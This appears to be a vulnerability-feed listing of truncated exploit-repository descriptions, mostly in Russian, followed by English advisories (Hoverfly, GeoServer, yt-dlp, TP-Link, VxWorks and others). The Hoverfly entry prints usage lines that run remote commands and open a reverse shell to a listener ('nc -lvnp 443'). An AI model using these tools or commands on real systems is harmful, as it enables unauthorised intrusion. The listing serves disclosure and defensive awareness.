CVE-2026-35616-detector.py

CVE-2026-35616 - Детектор уязвимости FortiClient EMS Описание Этот инструмент определяет, уязвим ли сервер FortiClient EMS к CVE-2026-35616 — критической уязвимости, связанной с некорректным контролем доступа, затрагивающей версии 7.4.5–7.4.6. Оценка CVSS: 9.1 критическая CWE: CWE-284 некорректны...

atril_cbt-inject-exploit

CVE-2023-44452, CVE-2023-51698: Уязвимость удалённого выполнения кода при разборе CBT-файлов в Linux Mint Xreader/MATE Atril Критическая уязвимость RCE/инъекции команд в один клик, затрагивающая популярные операционные системы Linux с рабочими окружениями MATE, Cinnamon и некоторыми Xfce...

CVE-2025-52136

CVE-2025-52136 https://github.com/ricardojoserf/emqx-RCE Исходный метод эксплуатации заключается в загрузке плагина EMQX, добавлении в код шаблона плагина вызова Erlang-модуля os для выполнения системных команд и получения RCE. В среде с выходом в интернет, где по умолчанию доступен curl, можно...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 RCE в MCPJam inspector = 1.4.2 Детали уязвимости https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Использование usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message...

CVE-2026-26331

Произвольное выполнение команд через --netrc-cmd в yt-dlp Серьёзность: Высокая CVSS 8.8 Затронутое ПО: yt-dlp = 2023.06.21, Исправлено в версии: 2026.02.21 Консультация: GHSA-g3gw-q23r-pgqm CVE: CVE-2026-26331 Краткое описание Параметр командной строки --netrc-cmd или параметр Python API netrccmd...

exploits

exploits Опубликованные PoC можно найти на exploitdb.com Patient Appointment Scheduler System v1.0: Inbit Messenger v4.6.0:...

tenda-hg10-rce

CVE-2026-1689 Краткое описание Уязвимость внедрения команд существует в маршрутизаторе Tenda HG10. Она возникает в конечной точке formLogin из-за некорректной обработки параметра Host. Проверка учетных данных не выполняется, поскольку уязвимость срабатывает до проверки. Пользовательский ввод из...

MAL-009

MAL-009: Небезопасное сцепление флагов T и TT в Zip для Linux В Zip для Linux флаг «-TT» может использоваться для выполнения произвольных системных команд. Из-за опасной природы этого флага его всегда следует использовать одновременно с флагом «-T». С помощью атаки со сцеплением флагов...

CVE-2026-26831

CVE-2026-26831: внедрение OS-команд в textract Краткое описание textract вплоть до версии 2.5.0 позволяет внедрение OS-команд через путь к файлу, передаваемый во множество экстракторов. Некоторые участки кода передают этот путь в childprocess.exec без надлежащей санитизации. Злоумышленник, которы...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Использование Выполнение команды: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Обратная оболочка: nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 Отказ от ответственности Этот...

CVE-2024-36401

CVE-2024-36401 Инструмент для эксплуатации уязвимости GeoServer Обзор уязвимости CVE-2024-36401 — это уязвимость удаленного выполнения команд в GeoServer. Злоумышленник может выполнить произвольные команды без авторизации, отправив специально сформированный запрос WFS Web Feature Service...

rsync security, bug fix, and enhancement update

An update is available for rsync. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list The rsync utility enables the users to copy and synchronize files locally or...

CVE-2026-102369

TP-Link Tapo C120 v1 and C200 V5 security cameras are vulnerable to unauthenticated remote code execution due to insufficient protection of login challenge data and a lack of input sanitization in the MacTool handler . An attacker on the same local network can replay login challenge data to gain ...

EUVD-2026-90983

Tapo C120 v1 and C200 V5 do not adequately protect login challenge data or sanitize attacker-controlled input processed by the MacTool handler. An unauthenticated attacker on the same local network can replay login challenge data to obtain an administrative session, enable a privileged service th...

CVE-2026-104018 VxWorks 7 improper privilege management

An improper privilege management vulnerability CWE-269 exists in the command shell of Wind River VxWorks 7 when configured to enforce per-user command privileges. Under certain shell operations, a command may be evaluated without the privilege check that is normally applied, allowing an...

EUVD-2026-90976

An improper privilege management vulnerability CWE-269 exists in the command shell of Wind River VxWorks 7 when configured to enforce per-user command privileges. Under certain shell operations, a command may be evaluated without the privilege check that is normally applied, allowing an...

CVE-2026-104018

An improper privilege management vulnerability (CWE-269 ) exists in the command shell of Wind River VxWorks 7 when configured to enforce per-user command privileges. Under certain shell operations, commands may be evaluated without the standard privilege check, enabling an authenticated user with...

CVE-2026-102294 Authenticated OS Command Injection in TL-WR841N IPv6 WAN Configuration

TP-Link TL-WR841N contains an authenticated OS command injection vulnerability in the IPv6 WAN configuration. A crafted IPv6 Gateway value is improperly incorporated into a system command, allowing an authenticated administrator to execute arbitrary operating system commands. Successful...

EUVD-2026-90974

TP-Link TL-WR841N contains an authenticated OS command injection vulnerability in the IPv6 WAN configuration. A crafted IPv6 Gateway value is improperly incorporated into a system command, allowing an authenticated administrator to execute arbitrary operating system commands. Successful...

CVE-2026-102294

The TP-Link TL-WR841N router is susceptible to an authenticated OS command injection vulnerability within the IPv6 WAN configuration . The root cause is the improper incorporation of a crafted IPv6 Gateway value into a system command. This allows an authenticated administrator to execute arbitrar...